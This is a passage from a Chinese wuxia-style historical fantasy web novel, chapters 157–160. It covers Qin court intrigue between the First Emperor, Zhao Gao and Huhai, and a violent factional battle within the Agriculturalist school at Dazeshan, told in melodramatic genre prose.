殿内烛火突然剧烈摇晃,映得父子二人的影子在墙上纠缠如龙。
始皇帝忽然转身,冕旒玉珠相互碰撞:“你带多少人去?”
赢子夜从容道,“暗地里,儿臣已调集三十名‘血鸦’先行潜入大泽山。”
始皇帝目光如电扫过赢子夜:“你倒是准备充分。”
他忽然话锋一转,“扶苏那边…”
“长兄此去岭南,看似贬黜,实则是父皇给他的机会。”
赢子夜微微一笑,“不过…儿臣已命人暗中保护。”
始皇帝眼中闪过一丝满意,却又很快隐去。
“你就不怕有人从中作梗?”
赢子夜不疾不徐:“他若安分守己,自然相安无事,若他…”
话未说完,但意思已然明了。
“呵…”
始皇帝突然冷笑一声,“你比你大哥果断得多。”
他挥了挥袖袍,“去吧,农家之事,寡人准了。”
“记住,半个月内,寡人要看到结果。”
赢子夜深深一揖:“儿臣领命。”
就在他转身欲退时,始皇帝突然又道:“子夜。”
“父皇?”
始皇帝的声音忽然柔和了几分:“小心行事,寡人身边…不想再失去一个儿子。”
赢子夜身形微震,随即郑重地行了一个大礼:“儿臣谨记。”
走出章台宫时,东方已泛起鱼肚白。
赢子夜望着渐渐亮起的天色,轻轻摩挲着袖中的一枚青玉符箓。
符箓上,暗河的标记若隐若现。
远处宫墙上,一只黑鸦静静伫立,血红的眼睛注视着赢子夜远去的背影。
……
半个时辰后。
章台宫内。
青铜灯台上的火焰忽然无风自动,将始皇帝的身影拉得极长,如同一座巍峨的山岳压在殿中。
赵高垂首立于阶下,宽大的袖袍下,指尖不自觉地微微颤抖。
“赵高。”
始皇帝的声音不疾不徐,却让殿内温度骤降。
“祭祀大典之事,你
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怎么看?”
赵高额头渗出细汗,却不敢抬手去擦:“回陛下,廷尉府已查实,那些刺客身上确有长公子府的信物…”
“朕问的是你。”
始皇帝突然打断,冕旒垂下的玉珠纹丝不动,“不是廷尉府。”
一滴冷汗顺着赵高苍白的脸颊滑落。
他喉头滚动,声音更加恭敬:“老奴以为…证据确凿,长公子确有嫌疑。”
“哦?”
始皇帝缓缓起身,玄色帝袍上的金线玄鸟纹随着他的动作微微发光,仿佛活了过来。
“朕听闻,那些刺客入宫前,是由少府属官李焕提前变更了北侧布防图,这才导致北侧的护卫在面临刺杀时,反应迟滞。”
赵高瞳孔微缩:“这…老奴不知…”
“李焕。”
始皇帝踱步至窗前,背对赵高。
“三年前由你举荐入宫,其妹嫁给了你府上的管事,是也不是?”
殿内死寂。
赵高感觉自己的心跳声大得仿佛整个章台宫都能听见。
他深深俯首,额头几乎贴地:“陛下明鉴,老奴举荐李焕,只因他精通宫廷礼仪…”
“朕还查到…”
始皇帝突然转身,玉珠碰撞发出清脆的声响。
“那些刺客藏身的骊山别院,上月曾有罗网的密探出入。”
赵高浑身一颤,宽大的衣袖无风自动:“陛下!这定是有人栽赃!老奴对陛下忠心耿耿…”
“朕没说是你。”
始皇帝的声音忽然轻柔下来,却让赵高更加毛骨悚然。
“朕只是觉得,这一切…太过巧合了。”
他缓步走向赵高,玄色龙靴踏在玉阶上的声响,如同催命的鼓点。
赵高跪伏在地,能清晰地感受到始皇帝的影子笼罩了自己!!
“扶苏门客中那个丢玉佩的,叫淳于敬是吧?”
始皇帝居高临下地看着赵高,“他有个相好的歌姬,最近突然得了笔横财,在城南买了宅子。”
“而给钱的…是罗网一个叫‘黑蛛’的密探。”
赵高袖中的手指深深掐入掌心,却不敢抬头:“老奴…老奴这就去查…”
“不必了。”
始皇帝突然拂袖,一阵劲风将赵高掀得踉跄后退。
“朕…已经让黑冰台处理了。”
这句话如同一柄利剑,直刺赵高心口!!!
他脸色瞬间惨白如纸——
那个叫黑蛛的密探,正是他派去收买淳于敬的心腹!
始皇帝重新坐回龙榻,手指轻叩案几:“赵高,你跟了朕多少年了?”
“回陛下,自陛下从赵国归来,老奴便追随左右,至今已十一年了。”
赵高声音发颤。
“十一年…”
始皇帝若有所思,“够长了。”
这三个字重若千钧,压得赵高几乎窒息!
他猛地叩首,额头重重砸在金砖上:
“陛下明鉴!老奴若有二心,天打雷劈!”
始皇帝忽然笑了,笑声低沉如闷雷:“朕又没说你什么,何必如此惊慌?”
赵高伏在地上,能感觉到始皇帝的目光如实质般刺在自己背上。
殿内静得可怕,只有铜漏滴水的声音在回荡。
“罗网…”
始皇帝缓缓开口,“是朕当年命你所建,这些年,你做得很好。”
赵高不敢应答,只将身子伏得更低。
“不过…”始皇帝话锋一转,“再好的刀,用久了也会钝,该磨一磨了。”
第157章 罗网,该修修枝了!
赵高浑身一颤,明白这是警告。
他小心翼翼地抬头,却见始皇帝正凝视着墙上悬挂的巨幅疆域图,目光深邃难测。
“陛下!”赵高咽了口唾沫。
“老奴这就命罗网彻查此事,定给陛下一个交代!”
恰逢此时!
章台宫内的青铜灯台突然齐齐一暗,殿中陷入刹那的昏暗。
赵高跪伏在地,额头紧贴冰冷的金砖,能清晰地听见自己如擂鼓般的心跳声。
始皇帝的身影在摇曳的烛光中忽明忽暗,冕旒垂下的玉珠纹丝不动,仿佛时间在此刻凝固。
殿外,突然传来铁靴踏地的声响。
黑冰台统领如同一道幽灵般闪入,单膝跪地时铠甲竟未发出半点声响。
“禀陛下,刚收到的风,少府属官李焕已在府中自缢。”
“扶苏公子门客淳于敬…在逃亡途中遭遇马匪,尸首已验明正身。”
赵高袖中的手指猛地掐入掌心!
这两人正是他精心布置的棋子!
如今竟被连根拔起!
始皇帝缓缓抬手,黑冰台统领立刻无声退下。
殿门关闭的沉闷声响,如同丧钟般在赵高心头回荡。
“赵高。”
始皇帝的声音忽然响起,惊得赵高浑身一颤,“你说,这世上可有如此巧合之事?”
赵高喉头滚动,声音干涩得如同砂纸摩擦:“陛下…老奴…”
“朕记得。”
始皇帝打断他,缓步从龙阶走下,玄色帝袍扫过玉阶发出细微的沙沙声。
“当年朕亲政之初,平定嫪毐之乱,你持符节连夜调遣咸阳卫卒,护持宫禁,那夜刀光剑影,你虽身在文吏之位,却无半分退缩。”
赵高额头渗出冷汗,伏身叩首:“老奴不过是循陛下之令行事,不敢贪功……”
始皇帝忽然在赵高面前站定,龙靴上绣的金线玄鸟纹在烛光下熠熠生辉!
“当时刺向你的那一剑,是左肩。”
赵高猛地抬头,正对上始皇帝深不可测的目光。
他忽然想起,当年那所谓的叛军,正是他自己安排的苦肉计!
“陛…陛下…”
赵高的声音开始发抖。
始皇帝却已转身,宽大的袖袍带起一阵劲风:“退下吧。”
这三个字如同特赦令!!!
赵高如蒙大赦,正要叩首退下,却听始皇帝又淡淡开口:
“对了。”
“朕近日读《韩非子》,有句话很有意思……”
始皇帝背对赵高,手指轻抚案上一柄青铜短剑。
“你说,若是有一天,一柄双刃剑……”
他缓缓转身,冕旒下的目光如电。
“威胁到了主人,又当如何?”
赵高浑身剧震,仿佛被雷击中。
他太明白这个比喻。
罗网,正是那柄双刃剑!
“陛下!”
赵高扑通跪下,声音带着哭腔,“老奴对陛下忠心耿耿,罗网上下…”
“嘘——”
始皇帝突然竖起一根手指,动作轻柔得令人毛骨悚然。
“不用回答朕。”
他俯身,在赵高耳边轻声道:“在心里…告诉你自己便可。”
这句话如同冰锥,直刺赵高心脏。
他僵在原地,连呼吸都停滞了!
始皇帝身上散发的龙涎香此刻闻起来竟带着血腥气!!
“去吧。”
始皇帝直起身,语气忽然变得平和,“朕累了。”
赵高机械地叩首,**着向殿门挪去。
他的官袍后襟早已被冷汗浸透,在身后拖出一道蜿蜒的水痕。
就在他即将退出殿门时,始皇帝的声音再次传来,轻得如同叹息:“罗网…该修修枝了。”
赵高脚步骤然一顿,险些栽倒。
他不敢回头,只能深深鞠躬,颤抖着退出大殿。
宫门关闭的瞬间,赵高终于支撑不住,踉跄着扶住廊柱!
月光下,他的脸色惨白如纸,嘴唇不住颤抖。
远处巡逻的侍卫见状,正要上前搀扶,却被他一个眼神吓得退避三舍。
……
章台宫内,始皇帝独自立于巨幅疆域图前,手指轻轻划过百越之地的轮廓。
忽然,他袖中滑出一枚青铜虎符,正是调遣黑冰台死士的凭证。
“影。”
始皇帝轻唤。
阴影处立刻闪出一道黑影,单膝跪地:“陛下。”
“去查查赵高最近都见了什么人。”
始皇帝的声音冰冷刺骨。
“特别是…与十八公子有关的。”
黑影领命而去,如同融入夜色中的幽灵。
始皇帝转身望向殿外渐暗的天色,冕旒下的目光比夜色更加深沉。
殿角铜灯突然爆了个灯花。
火光映照下,始皇帝的影子在墙上扭曲变形,宛如一条苏醒的巨龙,张开血盆大口,随时准备择人而噬!!
……
宫墙外,赵高跌跌撞撞地
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回到自己的府邸。
刚踏入书房,他就猛地将案几上的器物全部扫落。
瓷器碎裂声中,他颤抖着从暗格取出一只玄金蜘蛛。
这是罗网最高首领的信物。
“修枝…修枝…”
赵高神经质地喃喃自语,突然将蜘蛛狠狠砸向墙壁!!!
……
中车府。
书房内,烛火摇曳不定。
赵高苍白的手指缓缓摩挲着一份奏折,眼中闪烁着阴冷的光芒。
案几上摆着三颗血淋淋的人头。
都是罗网天字级**,赵高精挑细选的替死鬼。
“血蛛、影刃、灰狐。”
赵高轻声念着这三个名字,嘴角扯出一丝诡异的笑容。
“能为本座而死,是你们的荣幸。”
窗外一道黑影闪过,一名死士无声跪地。
“大人,都安排妥当了,这三人的住所都搜出了与刺客往来的密信,还有……长公子府的令牌。”
赵高满意地点头。
“很好,他们的家眷……”
死士低头。
“都已处理干净。”
“去准备车驾。”
赵高缓缓起身,将奏折收入袖中。
“本座要进宫面圣。”
……
章台宫内,始皇帝正在批阅奏章。
赵高佝偻着身子跪在阶下,双手高举奏折。
“陛下,老奴已查明祭祀大典一事,乃是罗网三名叛逆所为。”
“这是他们的供词和罪证……”
侍从接过奏折呈上。
始皇帝随手翻开,目光在纸上扫过,却连眉头都没动一下。
殿内静得可怕,只有铜漏滴水的声音在回荡。
“血蛛…影刃…灰狐?”
始皇帝突然轻笑一声。
“朕怎么不记得罗网有这等人物?”
赵高额头渗出冷汗。
“回陛下,正是因为老奴久未启用他们,才让他们生出了叛逆之心……”
“是吗?”
始皇帝合上奏折,随手扔在案几上。
“看来罗网的规矩,是越来越松了。”
这句话轻飘飘的,却让赵高如芒在背。
他深深俯首。
“老奴御下不严,请陛下责罚!”
始皇帝没有接话,只是缓缓起身,玄色帝袍上的金线玄鸟纹在烛光下熠熠生辉。
“退下吧。”
始皇帝突然开口。
赵高如蒙大赦,连忙叩首。
“老奴告退……”
第158章 好戏……开场了!
十八公子府。
烛火幽暗,殿内一片死寂。
胡亥赤足斜卧在榻上,指尖捏着一只青铜蜘蛛,轻轻一掰,蜘蛛的腿便“咔”地断裂。
他歪着头,异色双瞳在烛光下泛着妖异的光,嘴角噙着一丝甜腻的笑,仿佛只是在玩一件微不足道的玩具。
此刻。
赵高垂首立在阴影处,苍白的面容被烛火映得阴晴不定,声音尖细如毒蛇吐信。
“公子,陛下已起疑心,罗网近期不宜再动。”
胡亥咯咯笑起来,笑声清脆如铃,却让人毛骨悚然。
“老师这是怕了?”
赵高袖中的手指微微颤抖,面上却不动声色。
“老奴只是为公子计议长远。”
“长远?”
胡亥突然蹦跳着凑近赵高,呼吸喷在他脸上,甜腻的嗓音里裹着刀锋。
“父皇要修枝,老师就急着断尾求生,真是忠心呢~”
赵高额头渗出冷汗,深深低头。
“公子明鉴,老奴绝无二心。”
胡亥后退一步,赤脚踩在冰冷的地砖上,异色双瞳微微收缩。
“罢了,既然罗网不能动,那就不动。”
他转身走向窗边,月光为他单薄的身影镀上银边。
“不过……百越那边,可不能耽搁。”
赵高一怔。
“公子的意思是?”
胡亥背对着他,声音轻得如同耳语。
“老师以为,我真会把所有筹码都押在那群蛮子身上?”
窗外一阵夜风卷入,烛火剧烈摇晃,胡亥的影子投在墙上,扭曲如恶鬼。
赵高沉默片刻,低声道。
“若公子另有安排,老奴愿效犬马之劳。”
胡亥轻轻笑了,笑声天真无邪。
“老师还是专心应付父皇吧,这些小事……不劳费心。”
赵高深深一拜,退出了大殿。
……
待殿门关闭,胡亥的笑容骤然消失。
他缓缓抬手,指尖结了一个诡异的手印,若是星魂在此,定会骇然失色。
这正是阴阳家禁术“魂噬”的起手式。
“出来。”
他轻声道。
殿内阴影处,三道身影无声浮现,全身笼罩在黑袍中,连呼吸都几不可闻。
他们跪伏在地,如同三道没有生命的影子。
胡亥歪着头,异色双瞳中闪烁着疯狂的光芒。
“百越那边,该动手了。”
为首的黑影微微抬头,露出一张苍白如纸的脸,眼中没有瞳仁,只有一片混沌的灰白。
“扶苏……必须死!!!”
胡亥的声音甜腻如蜜。
“记住,别让他死得太痛快。”
黑影无声叩首,身形如烟消散。
……
夜色如墨。
一辆不起眼的马车碾过官道的尘土,车轮声淹没在虫鸣之中。
赢子夜斜倚在车厢内,指尖轻轻敲击着案几,玄色衣袍上的暗纹在月光下若隐若现。
少司命跪坐在他对面,紫色面纱随风轻拂,一双清冷的眸子透过窗棂望向远处起伏的山影。
她的手指无意识地摩挲着腰间短剑,剑鞘上缠绕的藤蔓纹路在黑暗中泛着幽光。
“担心?”
赢子夜忽然开口,声音里带着几分慵懒。
少司命收回目光,摇了摇头。
面纱下的唇角微微抿起,却终究没有出声。
车帘微动,晓梦的身影如一片落叶般飘入车厢。
她盘膝而坐,拂尘横搁膝上,清丽的面容上看不出喜怒。
“再往前三里就是农家地界。”
她淡淡道。
“田虎的人已经在山口设了暗哨。”
赢子夜轻笑一声。
“看来我们的田二当家很谨慎啊。”
晓梦瞥了他一眼。
“你带着阴阳家的天才长老和天宗掌门夜闯农家,若被发现了……”
“那就杀光。”
少司命突然开口,声音清冷如冰。
她指尖掠过剑柄,一抹寒光在袖中若隐若现。
车厢内一时寂静。
赢子夜的目光在两位女子之间转了转,忽然笑出声来。
“夫人这般护短,为夫甚是欣慰。”
少司命别过脸去,耳尖却微微泛红。
晓梦冷哼一声。
“油嘴滑舌。”
马车忽然颠簸了一下,赢子夜顺势扶住少司命的肩膀。
她没有躲开,反而是顺势变得娇软。
晓梦别过脸去,拂尘上的银丝无风自动。
“到了。”
车夫压低的声音从帘外传来。
赢子夜掀开车帘,远处大泽山的轮廓在月色下如同蛰伏的巨兽。
他眯起眼睛,轻声道。
“好戏……要开场了。”
少司命无声地站到他身侧,衣袂飘飞间带起淡淡的幽香。
晓梦拂尘一甩,率先跃下马车,白衣在夜色中格外醒目。
“跟紧我。”
她头也不回地说道。
“农家那些粗人布下的阵法,可不会认什么公子夫人。”
赢子夜笑着摇头,伸手握住少司命微凉的手指。
“走吧,夫人。”
少司命脸色通红,终究任由他牵着。
三人的身影很快没入山林,只剩下车轮碾过的痕迹,在晨露降临前就会消失无踪。
……
神农堂内,烛火摇曳。
朱家那张“喜”字面具在火光映照下显得格外诡异。
他站在案几上,高举青铜令牌,矮小的身躯却散发着惊人的气势。
“诸位兄弟!今日我朱家持侠魁令,肃整农家!”
堂下弟子群情激奋。
司徒**把玩着铜钱,眼中精光闪烁:“老朱,共工堂那边已经安排妥当了。”
朱家面具转为“怒”:“田蜜勾结罗网,谋害同门!今日必要清理门户!”
典庆铁塔般的身躯堵在门口,声音如闷雷:“属下已调集堂下三百精锐,随时可以行动。”
“好!”
朱家面具又变回“喜”,“司徒,你带人去控制共工堂的水源。老典,你负责牵制田虎的蚩尤堂。”
司徒**和典庆当即领命,分别带领二十名精锐弟子悄然潜入共工堂。
……
夜色如墨。
司徒**伏在屋檐上,铜钱在指尖翻飞。
他眯起眼睛,借着月光打量共工堂的院落——
**静了,安静得反常。
“不对劲。”
他压低声音对身旁的
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弟子道,“平日这里至少二十人值守,现在连个鬼影都没有。”
弟子刚要答话,司徒**突然瞳孔骤缩!
他看到水井边的泥土有翻动的痕迹!
“退!”
他暴喝一声,铜钱如暴雨般射向四周黑暗处。
“铮铮铮!”
金属碰撞声响起,暗处果然埋伏着**手!
“嗖嗖嗖——”
数十支**箭破空而来,箭头上泛着诡异的蓝光。
司徒**身形急转,铜钱在身前织成一道光幕,七八支**被击落。
但一名弟子躲闪不及,被三支**箭同时贯穿胸膛,惨叫着倒下。
“结阵!”
司徒**厉喝,剩余弟子立刻背靠背组成圆阵。
黑暗中传来阴冷的笑声:“司徒堂主,这么晚来我共工堂,有何贵干啊?”
无数身影从阴影中踱出,是十余名手持怪异兵器的弟子!
“放箭!”
“咔咔咔——”
机关**连发三箭,呈品字形射来!
司徒**铜钱急旋,身形如鬼魅般闪避。
但还是慢了一步。
一支**擦过左肩,顿时火辣辣的痛感传遍全身。
“有毒!”
他闷哼一声,反手甩出三枚铜钱,将一名**手的咽喉割开。
“撤!快撤!”
司徒**强忍剧痛,带着残存弟子且战且退。
每退一步,就有暗器从刁钻角度袭来!
一名弟子被飞镰削去半边脑袋,另一名则被地底突然刺出的铁蒺藜贯穿脚掌。
而与此同时。
典庆正率领另一队人马逼近蚩尤堂粮仓。
“都小心点。”
典庆铜铃般的眼睛扫视四周,“田虎那厮阴险得很。”
话音刚落,前方树丛突然晃动。
典庆大手一挥,弟子们立刻散开警戒。
“沙沙沙…”
是风吹树叶的声音?
典庆眉头一皱,突然暴喝:“退后!”
太迟了!
“轰隆——!”
地面猛地塌陷,露出底下埋着的**桶。
炽热的火浪冲天而起,将五名弟子直接炸成碎片。
典庆凭借横练功夫硬抗,但仍被气浪掀飞三丈远。
“咳咳…”
他挣扎着爬起,铜皮铁骨上布满焦痕。
黑暗中,骨妖扭曲的身影缓缓浮现:“典庆师兄,别来无恙啊~”
他话音未落,数十名蚩尤堂弟子从四面八方涌出!!
更可怕的是!
他们每人手中都握着一柄泛着绿光的短矛!
“破甲矛?”
典庆瞳孔骤缩,“田虎连这家底都拿出来了!”
“杀!”
骨妖尖啸一声,短矛如雨点般掷来!
典庆怒吼着挥舞双拳,将大部分短矛击飞。
但仍有几支刺入他的身体!
虽然未能贯穿,但矛头上的毒素已经开始侵蚀他的肌肉。
“撤!全军撤退!”
典庆一把扯下插在肩头的短矛,鲜血喷涌而出。
他抓起两名受伤的弟子扛在肩上,硬生生从包围圈中撞出一条血路。
身后,骨妖阴恻恻的笑声回荡:“跑吧跑吧…看你能跑多远…”
第159章 坐山观虎斗!
神农堂内,朱家正在焦急等待。
大门被猛地撞开,司徒**满身是血地冲了进来:“老朱!我们中计了!共工堂早有准备!”
紧接着典庆也踉跄而入,青铜般的皮肤上布满焦痕和血迹:“蚩尤堂设了陷阱…我们的人…”
朱家面具瞬间变成“惊”:“什么?!”
“砰!”
大门被一脚踹开。
“咯咯咯……”
一阵娇笑声从屋顶传来。
田蜜慵懒地侧卧在横梁上,烟杆吞吐着粉色雾气。
“朱堂主好大的威风呀~”
她红唇轻启。
“拿着块假令牌,就想号令农家?”
朱家面具一滞。
“胡说!这侠魁令分明是从……”
“从田猛旧居找到的?”
田蜜轻盈落地,紫色裙摆如花瓣绽开。
“可惜呀,真的侠魁令……”
她突然从怀中掏出一块青铜令牌。
“一直在我这里呢~”
堂内一片哗然。
朱家面具下的脸色剧变。
这是要…以假乱真?!!
田密转向朱家,笑容甜美。
“朱堂主,你勾结叛逆,伪造侠魁令,该当何罪呀?”
司徒**望向门外,无数脚步声正在靠近!
他脸色大变,铜钱叮当落地。
“老朱,不妙!”
朱家面具疯狂变换,最终定格在“哀”字。
他突然狞笑。
“那又如何?你以为就凭你们……”
话音未落,外面传来震天喊杀声。
田虎带着蚩尤堂、共工堂的弟子破门而入,虎魄剑寒光凛冽。
“朱家!你害死我大哥,今日我要你偿命!”
更可怕的是,田言紫衣翩跹地走进来,身后跟着痴傻却武力超群的田赐。
她轻声道。
“朱叔叔,您太让我失望了。”
朱家踉跄后退。
“你们……你们早就……”
田蜜吐出一个烟圈。
“你以为就你会下药?共工堂的水井确实被动了手脚,可惜……”
她娇笑道。
“我的人当天就发现啦~”
典庆怒吼一声冲向田虎,却被田赐一剑逼退!
这个痴傻少年歪着头。
“姐姐说,要打断你的铜皮铁骨……”
混战瞬间爆发!!
箭雨倾泻而下。
典庆怒吼一声,用身躯挡在朱家面前,箭矢叮叮当当落在他的铜皮铁骨上!!
“走!”
司徒**拽住朱家,“从密道走!”
三人带着残存的几名弟子仓皇撤退。
田言紫瞳一凝,惊鲵剑如毒蛇般刺来。
典庆转身硬接这一剑,剑尖在他胸口划出一道血痕!
“堂主快走!”
朱家咬牙跟着司徒**冲入密道。
身后传来田虎的怒吼和激烈的打斗声。
密道中,朱家面具早已粉碎,露出那张苍老的面容:“典庆他…”
“别回头!”
司徒**声音嘶哑,“老典能撑住!”
众人跌跌撞撞地在黑暗中前行。
突然,前方透出一丝亮光——
是出口!!!
然而,就在他们即将逃出生天时,出口处赫然站着哑奴和十余名魁隗堂精锐。
“咯咯咯~”
田蜜的声音从后方传来,“跑得真快呢~”
前后夹击!
绝境之中,典庆突然暴起,双拳轰向洞壁:“堂主!走!”
“轰隆!”
典庆凭借蛮力硬生生在石壁上开出一个缺口。
司徒**毫不犹豫地拉着他和朱家冲了出去。
“追!”
田蜜厉声喝道,“一个都不能放过!”
夜色中,朱家等人狼狈逃窜。
身后追兵的火把如繁星般密集。
典庆背上插着三支箭,仍坚持断后。
“去…去六贤冢…”
朱家喘息着说,“路上…还有我们的人接应…”
司徒**搀扶着朱家,眼中闪过一丝惊异的神色。
此刻,他们只有一个选择——
逃!
……
山风呜咽。
卷着血腥味掠过破败的庙宇。
赢子夜负手立于残破的太一神像前,玄色衣袍在风中猎猎作响。
暗河副统领昭鞅单膝跪地,铁面具折射着冷冽的月光。
“主上,朱家败了。”
昭鞅的声音嘶哑如刀刮铁锈。
“田蜜亮出仿造的侠魁令打乱了节奏,田虎、田言姐弟同时发难。”
“典庆被田赐所伤,跟着朱家和司徒**逃往后山。”
赢子夜指尖轻抚腰间玉珏,唇角勾起一抹玩味的弧度。
“逃了?”
“要追吗?”
昭鞅眼中闪过嗜血的光芒。
“属下带人截杀,保证不留活口。”
破庙角落里,少司命静立如雕塑,紫色面纱纹丝不动。
晓梦倚着斑驳的廊柱,拂尘银丝无风自动,清冷的眸子扫过昭鞅。
“急什么?狗咬狗的戏码才演到一半。”
赢子夜轻笑出声。
“晓梦大师说得对。”
他转身望向大泽山方向,火光将天际染成血色。
“让他们再咬一会儿。”
昭鞅铁面具下的眉头皱起。
“可田言那边……”
“惊鲵小姐很聪明。”
赢子夜从袖中取出一枚青铜虎符,在月光下泛着幽光。
“知
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道什么时候该收网。”
他突然将虎符抛给昭鞅:“去山南大营,找王离。”
昭鞅接住虎符,触手冰凉。
“这是…百战穿甲兵?”
“告诉王将军,本公子借他五千精兵。”
赢子夜的声音陡然转冷。
“把大泽山所有出入口给我封死,一只苍蝇都不准飞出去!!!”
少司命突然抬眸,紫瞳中闪过一丝波动。
晓梦挑眉:“你要用帝国的兵?”
“农家十万弟子,总要有人管。”
赢子夜掸了掸衣袖上并不存在的灰尘。
“既然他们选不出侠魁,本公子只好代劳了。”
昭鞅躬身领命,却在转身时迟疑道。
“主上,若是田密他们反抗……”
“那就更好。”
赢子夜眼中金芒乍现。
“正好让王离的穿甲**和霸道机关箭,试试农家高手的成色。”
晓梦轻哼一声。
“借刀**,倒是省事。”
夜风骤急,吹得庙内残烛明灭不定。
赢子夜的身影在光影交错间宛如蛰伏的玄鸟,声音轻得几乎消散在风里。
“告诉王离,子时之前完成合围。”
“我要这大泽山……变成一座牢笼!!”
昭鞅的身影如鬼魅般消失在夜色中。
少司命无声地走到赢子夜身侧,衣袖拂过他垂落的手背,冰凉如霜。
“担心?”
赢子夜突然握住她的手腕,强硬的拉到怀中。
少司命微微挣动,面纱下的唇抿成直线。
晓梦拂尘一甩,银丝缠上赢子夜的手腕。
“注意点,这种事你们夫妻俩关起门来干不行吗?”
赢子夜松开手,低笑出声。
“大师这般护着她,莫非……”
“闭嘴。”
晓梦耳尖微红,转身望向远处火光冲天的山峦。
“田赐那小子剑法又精进了。”
赢子夜顺着她的目光望去,只见大泽山巅一道剑气冲天而起,隐约传来巨木倾倒的轰鸣!!
声势很大!
他眯起眼睛。
“天生剑胚,可惜是个痴儿。”
少司命突然抬手,一片枯叶在她掌心碎成齑粉。
赢子夜会意。
“放心,田言舍不得她这个弟弟。”
山下忽然传来整齐的铁甲碰撞声,如潮水般向四周扩散。
赢子夜负手而立,玄色衣袍上的暗纹在月光下流转。
“走,一起看戏。”
远处山道上,王离的玄色大氅在火把映照下如血染就!
他摩挲着赢子夜送来的虎符,冷笑一声。
“传令!**车上弦,把这群反贼……一网打尽!!!”
第160章 农家圣物——神农鼎!
百越。
阴暗潮湿的洞穴中,火把的光影在岩壁上跳动,映照出天泽那张阴鸷的面容。
他端坐在石椅上,六根蛇形锁链缠绕在周身,发出细微的金属摩擦声。
“火雨玛瑙,还没有消息吗?”
天泽的声音低沉冰冷,如同毒蛇吐信。
跪在下方的百毒王额头渗出冷汗。
“回主上,我们的人已经搜遍了当年火雨山庄的废墟,但…”
“废物!”
天泽猛地一挥手,锁链如活物般窜出,将百毒王抽翻在地!
“没有火雨玛瑙,我们拿什么对抗大秦的玄甲军?”
驱尸魔单膝跪地,黑袍下的身躯微微颤抖。
“主上息怒,属下已经派人在岭南一带继续搜寻,据说当年火雨公的**可能带着玛瑙逃往了中原…”
天泽眼中闪过一道寒光。
“中原?”
他缓缓起身,锁链在地上拖出刺耳的声响。
“那个**,果然还活着。”
无双鬼庞大的身躯堵在洞口,声音如闷雷。
“主上,要不要我带人去中原抓她回来?”
“不急。”
天泽嘴角勾起一抹冷笑。
“先说说各部族的准备情况。”
百毒王连忙爬起回禀。
“回主上,各部巫师已暗中潜入大秦边境,随时可以发动咒术,蛇灵部的战士伪装成商队,已经混入了三川郡。”
驱尸魔补充道。
“象兵部队已经训练完毕,三十头战象全部披上了青铜铠甲。”
“只要主上一声令下,随时可以踏平秦军营寨!”
天泽走到洞穴深处的水潭边,俯视着水中自己的倒影。
那张布满蛇鳞纹路的脸扭曲了一瞬。
“大秦以为我们内斗不休,却不知各部早已臣服。”
他突然转身,锁链如毒蛇般昂起。
“那些所谓的部落冲突,不过是演给赵佗看的戏码罢了!”
百毒王眼中闪过狂热。
“主上英明!如今百越各部皆在暗中效忠,只等主上振臂一呼!”
“很好。”
天泽缓缓抬起手,掌心浮现出一团幽绿的火焰。
“告诉潜伏在中原的人,务必找到火雨玛瑙的下落,那是我百越逐鹿天下关键,也是我们复国的希望!”
他走到洞口,眺望北方。
“传令各部,按原计划准备,等大秦内乱一起,就是我们挥师北上之时!”
无双鬼摩拳擦掌。
“主上,我的斧头早就饥渴难耐了!”
天泽没有回答,只是轻轻抚摸着缠绕在臂上的蛇形锁链。
这条曾经禁锢他的枷锁,如今已成为他最致命的武器。
他望向中原方向,眼中燃烧着复仇的火焰。
“赢政,你以为统一六国就高枕无忧了?”
“我会让你知道,百越的怒火…才刚刚开始!”
洞穴深处,幽绿的火焰突然暴涨,将天泽的身影拉得极长,宛如一条苏醒的巨**,正对着北方的猎物吐出信子。
……
大泽山。
山道之上。
朱家捂着肩头的伤口踉跄前行,面具早已碎裂半边,露出那张布满皱纹的苍老面容。
司徒**搀扶着他,身后是满身血污的典庆和仅剩的二十余名神农堂弟子。
他们一个个形容憔悴。
有的缺臂断指,有的**昏沉,步伐已然紊乱。
“快到了……”
朱家喘息着。
“只要到六贤冢……”
话音未落。
前方密林中寒光骤闪!!
数名蚩尤堂弟子持刃杀出!!
司徒**刚欲拔剑迎战,忽见一道青色剑气如长虹贯日!
瞬间将敌人尽数逼退!
白衣胜雪的逍遥子自半空飘然而下,拂尘轻扫,杀机顿消!
“朱堂主。”
逍遥子落地时衣袂无声。
朱家抬起布满血污的脸,沉声道:“你们来了。”
逍遥子微微颔首,目光扫过他身后的司徒**与典庆,确认他们尚能行动,才道:“按照先前约定,我们在此接应。”
树影晃动间。
盖聂缓步走出。
昔日剑圣右袖空空荡荡。
左手却依旧稳如磐石地握着木剑。
他目光平静扫过朱家一行狼狈的身影。
“后面追兵已退。”
这一刻。
司徒**和典庆皆露出惊色!
他们清楚,这两位高手自数月前在桑海城的乱局中重伤后便销声匿迹。
如今忽然现身,绝非偶然。
朱家抹去嘴角的血迹,对司徒**和典庆沉声道:“这二位一直在暗中护着神农堂。”
逍遥子淡淡一笑。
“当日若非朱堂主相救,我们早如丧家之犬……”
“既受过你恩,便不可能坐视农家自相残杀。”
盖聂微微颔首。
“这些时日,我们一直在暗中养伤,也在留意农家局势,你们的行踪,早已落在我们眼中。”
他左手木剑轻点地面。
“走吧,这条路应该是安全的。”
话音刚落,密林深处,田赐憨傻的声音隐约传来。
“姐姐,他们在哪儿呀?”
田言柔声安抚。
“阿赐别急,很快就能找到……”
逍遥子突然驻足,白眉微皱:“那丫头带着她弟弟追来了。”
盖聂将木剑横于胸前。
“你们先走。”
朱家有一丝不确定,咬牙问道:“盖先生你如今……”
“无妨,我的伤也已经好得差不多了。”
盖聂目光如水:“一条手臂,换得清静,值得。”
逍遥子哈哈大笑:“好一个剑圣!老夫今日便陪你会会这农家第一高手!”
白雾之外,田言紫瞳骤缩。
“不好!是道家的天地失色!阿赐快退!”
朱家深深看了二人一眼,转身对司徒**和典庆说道。
“走!去六贤冢!”
众人奔逃间,身后剑气纵横,树木摧折之声不绝于耳!
朱家摸出怀中染血的侠魁令,眼中闪过一丝决绝。
“只要能见到六长老…农家就还有救!!!”
……
顷刻。
白雾翻涌间,两道身影如同天外飞仙,骤然杀入田言与田赐所在之处!
盖聂木剑横扫,剑光化作无数道细密的剑线!
天地间仿佛瞬间凝固!
剑意逼得田赐几乎窒息,连呼吸都变得沉重!
田赐则是怒吼一声,双剑齐出,干将莫邪化作黑白双龙,硬生生冲破剑线!
却不料,被盖聂脚下微动,一剑封喉般逼退三步!
另一侧,逍遥子拂尘挥洒,银丝在空中化作万千剑影,宛如织网,将田言困在其中。
